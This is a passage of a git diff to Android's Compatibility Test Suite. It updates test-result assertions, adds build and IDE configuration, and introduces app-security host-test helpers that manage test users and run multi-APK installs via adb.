-                    ResultType.LOWER_BETTER.toReportString(),
-                    ResultUnit.MS.toReportString());
-            String moduleBTests = String.format(JOIN, moduleBTest3, moduleBTest4);
+            String moduleBTest4 = String.format(XML_TEST_RESULT, METHOD_4, SUMMARY_SOURCE,
+                    SUMMARY_MESSAGE, ResultType.HIGHER_BETTER.toReportString(),
+                    ResultUnit.SCORE.toReportString(), Double.toString(SUMMARY_VALUE));
+            String moduleBTest5 = String.format(XML_TEST_SKIP, METHOD_5);
+            String moduleBTests = String.join("", moduleBTest3, moduleBTest4, moduleBTest5);
             String moduleBCases = String.format(XML_CASE, CLASS_B, moduleBTests);
             String moduleB = String.format(XML_MODULE, NAME_B, ABI, DEVICE_B, RUNTIME_B, DONE_B,
                     moduleBCases);
-            String modules = String.format(JOIN, moduleA, moduleB);
+            String modules = String.join("", moduleA, moduleB);
             String hostName = "";
             try {
                 hostName = InetAddress.getLocalHost().getHostName();
@@ -260,7 +260,7 @@
     }
 
     static void checkLightResult(IInvocationResult lightResult) throws Exception {
-        assertEquals("Expected 2 passes", 2, lightResult.countResults(TestStatus.PASS));
+        assertEquals("Expected 3 passes", 3, lightResult.countResults(TestStatus.PASS));
         assertEquals("Expected 1 failure", 1, lightResult.countResults(TestStatus.FAIL));
 
         Map<String, String> buildInfo = lightResult.getInvocationInfo();
@@ -281,7 +281,7 @@
     }
 
     static void checkResult(IInvocationResult result) throws Exception {
-        assertEquals("Expected 2 passes", 2, result.countResults(TestStatus.PASS));
+        assertEquals("Expected 3 passes", 3, result.countResults(TestStatus.PASS));
         assertEquals("Expected 1 failure", 1, result.countResults(TestStatus.FAIL));
 
         Map<String, String> buildInfo = result.getInvocationInfo();
@@ -324,7 +324,7 @@
         assertNull("Unexpected report", moduleATest1.getReportLog());
 
         IModuleResult moduleB = modules.get(1);
-        assertEquals("Expected 1 pass", 1, moduleB.countResults(TestStatus.PASS));
+        assertEquals("Expected 2 passes", 2, moduleB.countResults(TestStatus.PASS));
         assertEquals("Expected 1 failure", 1, moduleB.countResults(TestStatus.FAIL));
         assertEquals("Incorrect ABI", ABI, moduleB.getAbi());
         assertEquals("Incorrect name", NAME_B, moduleB.getName());
@@ -335,7 +335,7 @@
         ICaseResult moduleBCase = moduleBCases.get(0);
         assertEquals("Incorrect name", CLASS_B, moduleBCase.getName());
         List<ITestResult> moduleBResults = moduleBCase.getResults();
-        assertEquals("Expected 2 results", 2, moduleBResults.size());
+        assertEquals("Expected 3 results", 3, moduleBResults.size());
         ITestResult moduleBTest3 = moduleBResults.get(0);
         assertEquals("Incorrect name", METHOD_3, moduleBTest3.getName());
         assertEquals("Incorrect result", TestStatus.FAIL, moduleBTest3.getResultStatus());
@@ -363,5 +363,15 @@
         assertEquals("Incorrect unit", ResultUnit.SCORE, summary.getUnit());
         assertTrue("Incorrect values", Arrays.equals(new double[] { SUMMARY_VALUE },
                 summary.getValues()));
+        ITestResult moduleBTest5 = moduleBResults.get(2);
+        assertEquals("Incorrect name", METHOD_5, moduleBTest5.getName());
+        assertEquals("Incorrect result", TestStatus.PASS, moduleBTest5.getResultStatus());
+        assertTrue("Expected skipped", moduleBTest5.isSkipped());
+        assertNull("Unexpected bugreport", moduleBTest5.getBugReport());
+        assertNull("Unexpected log", moduleBTest5.getLog());
+        assertNull("Unexpected screenshot", moduleBTest5.getScreenshot());
+        assertNull("Unexpected message", moduleBTest5.getMessage());
+        assertNull("Unexpected stack trace", moduleBTest5.getStackTrace());
+        assertNull("Unexpected report", moduleBTest5.getReportLog());
     }
 }
diff --git a/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java b/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
index 0a7dd47..9f8235c 100644
--- a/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
+++ b/common/util/tests/src/com/android/compatibility/common/util/UnitTests.java
@@ -27,17 +27,14 @@
 
     public UnitTests() {
         super();
-        addTestSuite(AbiUtilsTest.class);
         addTestSuite(CaseResultTest.class);
         addTestSuite(DynamicConfigTest.class);
         addTestSuite(LightInvocationResultTest.class);
         addTestSuite(MetricsXmlSerializerTest.class);
-        addTestSuite(ModuleResultTest.class);
         addTestSuite(MultipartFormTest.class);
         addTestSuite(ReportLogTest.class);
         addTestSuite(ResultHandlerTest.class);
         addTestSuite(StatTest.class);
-        addTestSuite(TestFilterTest.class);
         addTestSuite(TestResultTest.class);
     }
 
diff --git a/development/ide/eclipse/cts-tradefed-harness.classpath b/development/ide/eclipse/cts-tradefed-harness.classpath
new file mode 100644
index 0000000..3355a7d
--- /dev/null
+++ b/development/ide/eclipse/cts-tradefed-harness.classpath
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+	<classpathentry kind="src" path="cts/common/host-side/tradefed/src"/>
+	<classpathentry kind="src" path="cts/common/host-side/util/src"/>
+	<classpathentry kind="src" path="cts/common/util/src"/>
+	<classpathentry kind="src" path="cts/libs/json/src"/>
+	<classpathentry kind="src" path="tools/loganalysis/src"/>
+	<classpathentry kind="src" path="tools/tradefederation/src"/>
+	<classpathentry kind="src" path="tools/tradefederation/remote/src"/>
+	<classpathentry kind="src" path="external/easymock/src"/>
+	<classpathentry kind="src" path="external/guava/guava/src"/>
+	<classpathentry kind="src" path="external/hamcrest/hamcrest-core/src/main/java"/>
+	<classpathentry kind="src" path="external/jline/src/src/main/java"/>
+	<classpathentry kind="src" path="external/jsr305/ri/src/main/java"/>
+	<classpathentry kind="src" path="external/junit/src/main/java"/>
+	<classpathentry kind="src" path="external/mockito/src/main/java"/>
+	<classpathentry kind="src" path="external/objenesis/main/src/main/java"/>
+	<classpathentry kind="src" path="external/protobuf/java/core/src/main/java"/>
+	<classpathentry including="com/" kind="src" path="out/host/common/obj/JAVA_LIBRARIES/cts-tradefed_intermediates"/>
+	<classpathentry kind="src" path="out/host/common/obj/JAVA_LIBRARIES/host-libprotobuf-java-full_intermediates/proto/src"/>
+	<classpathentry kind="src" path="out/host/common/obj/JAVA_LIBRARIES/tradefed-protos_intermediates/proto/src"/>
+	<classpathentry kind="src" path="tools/tradefederation/tests/src"/>
+	<classpathentry kind="src" path="cts/common/host-side/tradefed/tests/src"/>
+	<classpathentry kind="src" path="cts/common/host-side/util/tests/src"/>
+	<classpathentry kind="lib" path="external/mockito/lib/byte-buddy-1.6.9.jar"/>
+	<classpathentry kind="lib" path="external/mockito/lib/byte-buddy-agent-1.6.9.jar"/>
+	<classpathentry kind="lib" path="out/target/common/obj/JAVA_LIBRARIES/bouncycastle_intermediates/classes-jarjar.jar"/>
+	<classpathentry kind="lib" path="out/target/common/obj/JAVA_LIBRARIES/conscrypt_intermediates/classes-jarjar.jar"/>
+	<classpathentry kind="lib" path="out/target/common/obj/JAVA_LIBRARIES/okhttp_intermediates/classes-jarjar.jar"/>
+	<classpathentry kind="lib" path="prebuilts/misc/common/commons-compress/commons-compress-prebuilt.jar"/>
+	<classpathentry kind="lib" path="prebuilts/misc/common/ddmlib/ddmlib-prebuilt.jar"/>
+	<classpathentry kind="lib" path="prebuilts/misc/common/devtools-annotations/devtools-annotations-prebuilt.jar"/>
+	<classpathentry kind="lib" path="prebuilts/misc/common/json/json-prebuilt.jar"/>
+	<classpathentry kind="lib" path="prebuilts/misc/common/kxml2/kxml2-2.3.0.jar"/>
+	<classpathentry kind="lib" path="prebuilts/misc/common/sdklib/sdklib-prebuilt.jar"/>
+	<classpathentry kind="lib" path="prebuilts/sdk/tools/jack-jacoco-reporter.jar"/>
+	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
+	<classpathentry kind="output" path="bin"/>
+</classpath>
diff --git a/error_prone_rules.mk b/error_prone_rules.mk
new file mode 100644
index 0000000..c2b0c79
--- /dev/null
+++ b/error_prone_rules.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Set of error prone rules to ensure code quality
+LOCAL_ERROR_PRONE_FLAGS:= -Xep:ArrayToString:ERROR \
+                          -Xep:BoxedPrimitiveConstructor:ERROR \
+                          -Xep:ConstantField:ERROR \
+                          -Xep:FormatString:ERROR \
+                          -Xep:GetClassOnClass:ERROR \
+                          -Xep:JUnitAmbiguousTestClass:ERROR \
+                          -Xep:MissingFail:ERROR \
+                          -Xep:MissingOverride:ERROR \
+                          -Xep:Overrides:ERROR \
+                          -Xep:ReferenceEquality:ERROR \
+                          -Xep:RemoveUnusedImports:ERROR \
+                          -Xep:ReturnValueIgnored:ERROR \
+                          -Xep:SelfEquals:ERROR \
+                          -Xep:SizeGreaterThanOrEqualsZero:ERROR
+
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
new file mode 100644
index 0000000..78cb3a0
--- /dev/null
+++ b/error_prone_rules_tests.mk
@@ -0,0 +1,21 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Set of error prone rules to ensure code quality of tests
+
+# Goal is to eventually merge with error_prone_rules.mk
+LOCAL_ERROR_PRONE_FLAGS:= -Xep:JUnit3TestNotRun:ERROR \
+                          -Xep:JUnitAmbiguousTestClass:ERROR \
+                          -Xep:TryFailThrowable:ERROR
+
diff --git a/hostsidetests/aadb/Android.mk b/hostsidetests/aadb/Android.mk
index f20f603..5cc2c10 100644
--- a/hostsidetests/aadb/Android.mk
+++ b/hostsidetests/aadb/Android.mk
@@ -22,7 +22,7 @@
 # Adb test cases, but name 'aadb' ensures adb tests run before all other modules depending on adb
 LOCAL_MODULE := CtsAadbHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 
 LOCAL_CTS_TEST_PACKAGE := android.aadb
 
diff --git a/hostsidetests/aadb/AndroidTest.xml b/hostsidetests/aadb/AndroidTest.xml
index cfba81e..2224df2 100644
--- a/hostsidetests/aadb/AndroidTest.xml
+++ b/hostsidetests/aadb/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS aadb host tests">
+    <option name="config-descriptor:metadata" key="component" value="misc" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest">
         <option name="jar" value="CtsAadbHostTestCases.jar" />
         <option name="runtime-hint" value="5m30s" />
diff --git a/hostsidetests/abioverride/Android.mk b/hostsidetests/abioverride/Android.mk
index f77303b..88c44d9 100644
--- a/hostsidetests/abioverride/Android.mk
+++ b/hostsidetests/abioverride/Android.mk
@@ -27,9 +27,7 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.host.abioverride
 
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
-
-LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed-prebuilt
+LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/abioverride/AndroidTest.xml b/hostsidetests/abioverride/AndroidTest.xml
index 7819f9b..18b0063 100644
--- a/hostsidetests/abioverride/AndroidTest.xml
+++ b/hostsidetests/abioverride/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS AbiOverride host test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="webview" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAbiOverrideTestApp.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAbiOverrideHostTestCases.jar" />
+        <option name="runtime-hint" value="8m" />
     </test>
 </configuration>
diff --git a/hostsidetests/abioverride/app/Android.mk b/hostsidetests/abioverride/app/Android.mk
index 56393c5..cdf063c 100755
--- a/hostsidetests/abioverride/app/Android.mk
+++ b/hostsidetests/abioverride/app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctsdeviceutil ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsabioverride
 
diff --git a/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java b/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
index 26d35a4..c2f14f0 100644
--- a/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
+++ b/hostsidetests/abioverride/src/android/abioverride/cts/AbiOverrideTest.java
@@ -16,7 +16,7 @@
 
 package android.abioverride.cts;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -72,7 +72,8 @@
         super.setUp();
         ITestDevice device = getDevice();
         device.uninstallPackage(PACKAGE);
-        File app = MigrationHelper.getTestFile(mBuild, APK_NAME);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        File app = buildHelper.getTestFile(APK_NAME);
         String[] options = {};
         device.installPackage(app, false, options);
     }
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 258192d..6afcce8 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -21,9 +21,7 @@
 
 LOCAL_MODULE := CtsAppSecurityHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_JAVA_RESOURCE_DIRS := res
 
diff --git a/hostsidetests/appsecurity/AndroidTest.xml b/hostsidetests/appsecurity/AndroidTest.xml
index d1989e6..6a9b557 100644
--- a/hostsidetests/appsecurity/AndroidTest.xml
+++ b/hostsidetests/appsecurity/AndroidTest.xml
@@ -14,6 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS App Security host tests">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="android.appsecurity.cts.AppSecurityPreparer" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAppSecurityHostTestCases.jar" />
         <option name="runtime-hint" value="20m" />
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/unsigned-ephemeral.apk b/hostsidetests/appsecurity/res/pkgsigverify/unsigned-ephemeral.apk
new file mode 100644
index 0000000..befa004
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/unsigned-ephemeral.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-only-ephemeral.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-ephemeral.apk
new file mode 100644
index 0000000..62db9c2
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-only-ephemeral.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v1-v2-ephemeral.apk b/hostsidetests/appsecurity/res/pkgsigverify/v1-v2-ephemeral.apk
new file mode 100644
index 0000000..c4934d1
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v1-v2-ephemeral.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/res/pkgsigverify/v2-only-ephemeral.apk b/hostsidetests/appsecurity/res/pkgsigverify/v2-only-ephemeral.apk
new file mode 100644
index 0000000..f4cc98b
--- /dev/null
+++ b/hostsidetests/appsecurity/res/pkgsigverify/v2-only-ephemeral.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index b77eef2..afd7245 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -23,8 +23,6 @@
 import static android.appsecurity.cts.SplitTests.CLASS;
 import static android.appsecurity.cts.SplitTests.PKG;
 
-import android.appsecurity.cts.SplitTests.BaseInstallMultiple;
-import com.android.cts.migration.MigrationHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -57,6 +55,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mAbi);
         assertNotNull(mCtsBuild);
 
@@ -271,10 +270,14 @@
             // Kick through a remount cycle, which should purge the adopted app
             getDevice().executeShellCommand("sm mount " + vol.volId);
             runDeviceTests(PKG, CLASS, "testDataInternal");
+            boolean didThrow = false;
             try {
                 runDeviceTests(PKG, CLASS, "testDataRead");
-                fail("Unexpected data from adopted volume picked up");
             } catch (AssertionError expected) {
+                didThrow = true;
+            }
+            if (!didThrow) {
+                fail("Unexpected data from adopted volume picked up");
             }
             getDevice().executeShellCommand("sm unmount " + vol.volId);
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
new file mode 100644
index 0000000..b1ac744
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.BuildError;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.TargetSetupError;
+
+/**
+ * Creates secondary and tertiary users for use during a test suite.
+ */
+public class AppSecurityPreparer implements ITargetPreparer, ITargetCleaner {
+    @Override
+    public void setUp(ITestDevice device, IBuildInfo buildInfo)
+            throws TargetSetupError, BuildError, DeviceNotAvailableException {
+        // Clean up any lingering users from other tests to ensure that we have
+        // best shot at creating the users we need below.
+        removeSecondaryUsers(device);
+
+        final int maxUsers = device.getMaxNumberOfUsersSupported();
+        if (maxUsers > 1) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+        }
+        if (maxUsers > 2) {
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Created secondary user " + device.createUser("CTS_" + System.nanoTime()));
+        }
+    }
+
+    @Override
+    public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
+            throws DeviceNotAvailableException {
+        removeSecondaryUsers(device);
+    }
+
+    private void removeSecondaryUsers(ITestDevice device) throws DeviceNotAvailableException {
+        final int[] userIds = Utils.getAllUsers(device);
+        for (int i = 1; i < userIds.length; i++) {
+            device.removeUser(userIds[i]);
+            CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index e500b00..390064d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -16,8 +16,7 @@
 
 package android.appsecurity.cts;
 
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -25,6 +24,7 @@
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.RunUtil;
 
 import java.io.BufferedReader;
@@ -103,13 +103,15 @@
     }
 
     private File getTestAppFile(String fileName) throws FileNotFoundException {
-        return MigrationHelper.getTestFile(mCtsBuild, fileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        return buildHelper.getTestFile(fileName);
     }
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        // ensure build has been set before test is run
+
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mCtsBuild);
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
new file mode 100644
index 0000000..920e0a5
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+
+/**
+ * Base class.
+ */
+public class BaseAppSecurityTest extends DeviceTestCase implements IBuildReceiver {
+    protected IBuildInfo mBuildInfo;
+
+    /** Whether multi-user is supported. */
+    protected boolean mSupportsMultiUser;
+    protected boolean mIsSplitSystemUser;
+    protected int mPrimaryUserId;
+    /** Users we shouldn't delete in the tests */
+    private ArrayList<Integer> mFixedUsers;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildInfo = buildInfo;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertNotNull(mBuildInfo); // ensure build has been set before test is run.
+
+        mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
+        mIsSplitSystemUser = checkIfSplitSystemUser();
+        mPrimaryUserId = getDevice().getPrimaryUserId();
+        mFixedUsers = new ArrayList<>();
+        mFixedUsers.add(mPrimaryUserId);
+        if (mPrimaryUserId != Utils.USER_SYSTEM) {
+            mFixedUsers.add(Utils.USER_SYSTEM);
+        }
+        getDevice().switchUser(mPrimaryUserId);
+    }
+
+    private boolean checkIfSplitSystemUser() throws DeviceNotAvailableException {
+        final String commandOuput = getDevice().executeShellCommand(
+                "getprop ro.fw.system_user_split");
+        return "y".equals(commandOuput) || "yes".equals(commandOuput)
+                || "1".equals(commandOuput) || "true".equals(commandOuput)
+                || "on".equals(commandOuput);
+    }
+
+    protected void installTestAppForUser(String apk, int userId) throws Exception {
+        if (userId < 0) {
+            userId = mPrimaryUserId;
+        }
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertNull(getDevice().installPackageForUser(
+                buildHelper.getTestFile(apk), true, false, userId, "-t"));
+    }
+
+    protected boolean isAppVisibleForUser(String packageName, int userId,
+            boolean matchUninstalled) throws DeviceNotAvailableException {
+        String command = "cmd package list packages --user " + userId;
+        if (matchUninstalled) command += " -u";
+        String output = getDevice().executeShellCommand(command);
+        return output.contains(packageName);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
new file mode 100644
index 0000000..cc87584
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseInstallMultiple.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.AbiUtils;
+
+import junit.framework.TestCase;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Base class for invoking the install-multiple command via ADB. Subclass this for less typing:
+ *
+ * <code>
+ *     private class InstallMultiple extends BaseInstallMultiple&lt;InstallMultiple&gt; {
+ *         public InstallMultiple() {
+ *             super(getDevice(), null, null);
+ *         }
+ *     }
+ * </code>
+ */
+public class BaseInstallMultiple<T extends BaseInstallMultiple<?>> {
+    private final ITestDevice mDevice;
+    private final IBuildInfo mBuild;
+    private final IAbi mAbi;
+
+    private final List<String> mArgs = new ArrayList<>();
+    private final List<File> mApks = new ArrayList<>();
+    private boolean mUseNaturalAbi;
+
+    public BaseInstallMultiple(ITestDevice device, IBuildInfo buildInfo, IAbi abi) {
+        mDevice = device;
+        mBuild = buildInfo;
+        mAbi = abi;
+        addArg("-g");
+    }
+
+    T addArg(String arg) {
+        mArgs.add(arg);
+        return (T) this;
+    }
+
+    T addApk(String apk) throws FileNotFoundException {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        mApks.add(buildHelper.getTestFile(apk));
+        return (T) this;
+    }
+
+    T inheritFrom(String packageName) {
+        addArg("-r");
+        addArg("-p " + packageName);
+        return (T) this;
+    }
+
+    T useNaturalAbi() {
+        mUseNaturalAbi = true;
+        return (T) this;
+    }
+
+    T locationAuto() {
+        addArg("--install-location 0");
+        return (T) this;
+    }
+
+    T locationInternalOnly() {
+        addArg("--install-location 1");
+        return (T) this;
+    }
+
+    T locationPreferExternal() {
+        addArg("--install-location 2");
+        return (T) this;
+    }
+
+    T forceUuid(String uuid) {
+        addArg("--force-uuid " + uuid);
+        return (T) this;
+    }
+
+    void run() throws DeviceNotAvailableException {
+        run(true);
+    }
+
+    void runExpectingFailure() throws DeviceNotAvailableException {
+        run(false);
+    }
+
+    private void run(boolean expectingSuccess) throws DeviceNotAvailableException {
+        final ITestDevice device = mDevice;
+
+        // Create an install session
+        final StringBuilder cmd = new StringBuilder();
+        cmd.append("pm install-create");
+        for (String arg : mArgs) {
+            cmd.append(' ').append(arg);
+        }
+        if (!mUseNaturalAbi && mAbi != null) {
+            cmd.append(' ').append(AbiUtils.createAbiFlag(mAbi.getName()));
+        }
+
+        String result = device.executeShellCommand(cmd.toString());
+        TestCase.assertTrue(result, result.startsWith("Success"));
+
+        final int start = result.lastIndexOf("[");
+        final int end = result.lastIndexOf("]");
+        int sessionId = -1;
+        try {
+            if (start != -1 && end != -1 && start < end) {
+                sessionId = Integer.parseInt(result.substring(start + 1, end));
+            }
+        } catch (NumberFormatException e) {
+        }
+        if (sessionId == -1) {
+            throw new IllegalStateException("Failed to create install session: " + result);
+        }
+
+        // Push our files into session. Ideally we'd use stdin streaming,
+        // but ddmlib doesn't support it yet.
+        for (int i = 0; i < mApks.size(); i++) {
+            final File apk = mApks.get(i);
+            final String remotePath = "/data/local/tmp/" + i + "_" + apk.getName();
+            if (!device.pushFile(apk, remotePath)) {
+                throw new IllegalStateException("Failed to push " + apk);
+            }
+
+            cmd.setLength(0);
+            cmd.append("pm install-write");
+            cmd.append(' ').append(sessionId);
+            cmd.append(' ').append(i + "_" + apk.getName());
+            cmd.append(' ').append(remotePath);
+
+            result = device.executeShellCommand(cmd.toString());
+            TestCase.assertTrue(result, result.startsWith("Success"));
+        }
+
